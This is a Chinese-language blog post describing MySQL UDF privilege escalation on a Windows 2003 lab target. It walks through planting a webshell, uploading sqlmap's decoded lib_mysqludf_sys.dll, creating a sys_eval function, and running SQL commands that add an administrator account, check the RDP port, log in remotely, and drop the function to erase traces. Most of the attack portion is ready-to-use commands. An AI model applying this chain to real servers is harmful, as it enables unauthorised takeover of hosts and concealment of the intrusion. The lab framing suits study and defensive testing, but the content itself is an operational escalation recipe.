mysql udf提权

udf提权

原理:

udf全称为:user defined function,即用户定义函数。通过全称我们可以大致判断出该提权手段是通过mysql声明并使用我们所自定义的可以提权的函数(比如执行系统命令)来进行提权。udf的文件后缀为dll。

条件:
  • root权限(需要创建和删除自定义函数)

  • mysql < 5.1,udf.dll 文件在 win2003 下放置于 c:\windows\system32 目录,在 win2000下放置在 c:\winnt\system32 目录

  • mysql >= 5.1,udf.dll 文件放置在 mysql 安装目录的 lib\plugin 文件夹下(该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll 文件导出到该目录)

实验环境:
  • 攻击机:win7

  • 靶机:win2003

复现流程:

在靶机写入一句话木马并用蚁剑连接

 

webshell.php内容:

 

通过蚁剑连接webshell

 

通过蚁剑的数据操作功能连接该网站的mysql数据库

 

连接数据库后我们需要先查看数据库的位数与版本,看看数据库是32位还是64位,数据库是>=5.1还是<5.1,以此来选择不同的dll文件与不同的路径放置dll文件。在这里我们使用show variables like '%version_%'查看数据库位数

可以看到当前数据库的位数是32位

 

再使用select version();查看数据库版本

可以看到数据库版本为5.5.53>5.1所以我们的udf文件应该放置到mysql目录下的lib/plugin目录中。其中plugin目录是不存在的,我们需要自己建立一个plugin的目录。

 

此时我们就需要找到提权所需的udf.dll文件。该文件可以在sqlmap中找到,这些udf文件存放在sqlmap的sqlmap\data\udf\mysql\windows目录,该目录下有32和64两个文件夹,分别对应不同mysql位数的dll文件,因为这里的mysql是32位,所以我们选择32位的udf文件来进行提权。使用udf提权前需要利用sqlmap自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\Penetration\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_

解码后会在sqlmap\data\udf\mysql\windows\32文件夹下生成 dll 文件。在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。

 

 

此时udf文件已经上传至mysql目录下的/lib/plugin目录,接下来我们就要声明该文件中所定义的函数并使用它了。在这里我们使用的是sys_eval()函数

首先使用create function sys_eval returns string soname "lib_mysqludf_sys.dll"来声明sys_eval()函数

 

可以看到已经导入成功,紧接着使用select * from mysql.func where name = 'sys_eval';查看是否导入成功或者重复导入

可以看到sys_eval已经导入成功,这时我们就可以使用sys_eval执行系统命令了。

 

首先我们使用select sys_eval('net user Yhck 123456 /add ');命令添加一个名为Yhck的用户

可以看到命令执行成功。

 

再执行select sys_eval('net localgroup administrators Yhck /add');命令将Yhck用户添加进管理员组进行提权

可以看到提权成功。

 

使用select sys_eval('netstat -ano | findstr 3389');命令查看3389端口是否开启

可以看到3389端口已经开启。

 

启用mstsc.exe连接靶机的3389端口,使用Yhck 123456进行登录

连接成功

 

连接成功后使用

  • drop function sys_eval;

  • delete from mysql.func where name='sys_eval';

这两条命令删除所创建的自定义函数,清除痕迹

 

参考:

https://www.cnblogs.com/wkzb/p/13174291.html

posted @ 2021-01-14 17:58  Yhck  阅读(675)  评论(0编辑  收藏  举报